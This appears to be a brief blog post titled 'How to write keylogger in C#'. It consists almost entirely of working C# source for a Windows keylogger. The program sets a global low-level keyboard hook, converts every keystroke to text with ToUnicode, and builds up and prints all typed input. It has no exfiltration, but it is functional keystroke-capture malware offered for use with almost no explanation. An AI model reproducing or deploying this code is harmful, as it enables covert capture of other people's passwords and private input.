How to write keylogger in C#

Jakub Jóźwicki
3 min readJul 8, 2023

--

We need a lot of interaction with Win32 API

using System;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Management;

namespace Keylogger {

class Keylogger {

static readonly int WH_KEYBOARD_LL = 13;
static int hHook = 0;
static StringBuilder buffer = new StringBuilder(256);

delegate int HookProc(int code, IntPtr wParam, IntPtr lParam);

[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll")]
static extern int CallNextHookEx(int hHook, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll")]
static extern uint GetCurrentThreadId();

[DllImport("kernel32.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Auto)]
static extern IntPtr GetModuleHandle(string lpModuleName);

[StructLayout(LayoutKind.Sequential)]
public class KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public KBDLLHOOKSTRUCTFlags flags;
public uint time;
public UIntPtr dwExtraInfo;
}

[Flags]
public enum KBDLLHOOKSTRUCTFlags : uint {
LLKHF_EXTENDED = 0x01,
LLKHF_INJECTED = 0x10,
LLKHF_ALTDOWN = 0x20,
LLKHF_UP = 0x80,
}

[DllImport(@"user32.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
static extern bool GetMessage(ref MSG message, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax);
[DllImport(@"user32.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
static extern bool TranslateMessage(ref MSG message);
[DllImport(@"user32.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
static extern long DispatchMessage(ref MSG message);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool GetKeyboardState(byte [] lpKeyState);
[DllImport("user32.dll", SetLastError = true)]
static extern short GetKeyState(int key);

/* https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes */
static readonly int ShiftKey = 16;
static readonly int CapitalKey = 20;
static readonly int ControlKey = 17;
static readonly int MenuKey = 18;

static readonly int VK_CAPITAL = 0x14;
static readonly int MASK_UP = (1 << 15);

static bool shift_active() {
return (GetKeyState(ShiftKey) & MASK_UP)!=0;
}

static bool capital_active() {
return (GetKeyState(VK_CAPITAL) & 1) == 1;
}

static bool menu_active() {
return (GetKeyState(MenuKey) & 1) == 1;
}

[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
long x;
long y;
}

[StructLayout(LayoutKind.Sequential)]
public struct MSG
{
IntPtr hwnd;
public uint message;
UIntPtr wParam;
IntPtr lParam;
uint time;
POINT pt;
}

[DllImport("user32.dll")]
static extern int ToUnicode(uint virtualKeyCode, uint scanCode, byte[] keyboardState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)]
StringBuilder receivingBuffer, int bufferSize, uint flags);

/* https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/inputdev/about-keyboard-input.md#dead-character-messages */
public static int KbdHook(int code, IntPtr wParam, IntPtr lParam) {
if (code < 0) {
return CallNextHookEx(hHook, code, wParam, lParam);
}
int c = (int)wParam;
KBDLLHOOKSTRUCT kbd = (KBDLLHOOKSTRUCT) Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
int altOn = (kbd.flags & KBDLLHOOKSTRUCTFlags.LLKHF_ALTDOWN) == KBDLLHOOKSTRUCTFlags.LLKHF_ALTDOWN ? 0xff : 0x00;
bool onAltGr = (kbd.vkCode == 162 || kbd.vkCode == 165); // see: https://cherrytree.at/misc/vk.htm
bool onKey = (c ==0x100 || c==0x104); //WM_KEYDOWN, WM_SYSKEYDOWN, see: http://pinvoke.net/default.aspx/Constants.WM
if (!onAltGr && onKey) {
//System.Console.WriteLine("c="+c+", vkCode="+kbd.vkCode+", scan="+kbd.scanCode+", alt="+altOn);
byte[] keyboardState = new byte[256];
/* Please not GeyKeyState for menu must be called before GetKeyboardState, it interacts with kernel kbd buffer */
bool shift_on = shift_active();
bool caps_on = capital_active();
bool menu_on = menu_active();
GetKeyboardState(keyboardState);
keyboardState[ShiftKey] = (byte)(shift_on ? 0xff : 0);
keyboardState[CapitalKey] = (byte)(caps_on ? 1 : 0);
keyboardState[ControlKey] = (byte)altOn;
keyboardState[MenuKey] = (byte)altOn;
StringBuilder buf = new StringBuilder(256);
int res = ToUnicode(kbd.vkCode, 0, keyboardState, buf, 256, 0);
buffer.Append(buf);
System.Console.WriteLine(buffer);
}
return CallNextHookEx(hHook, code, wParam, lParam);
}

static void Main(string[] args) {
IntPtr hMod = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
System.Console.WriteLine("Module handle for "+Process.GetCurrentProcess().MainModule.ModuleName+" is "+hMod);
SetWindowsHookEx(WH_KEYBOARD_LL, new HookProc(KbdHook), hMod, 0);
int ret = Marshal.GetLastWin32Error();
System.Console.WriteLine("Hook exit code="+ret);

MSG msg = new MSG();
while (GetMessage(ref msg, IntPtr.Zero, 0, 0)) {
if (0x10 == msg.message) { // WM_CLOSE
break;
}
TranslateMessage(ref msg);
DispatchMessage(ref msg);
}
}
}
}

--

--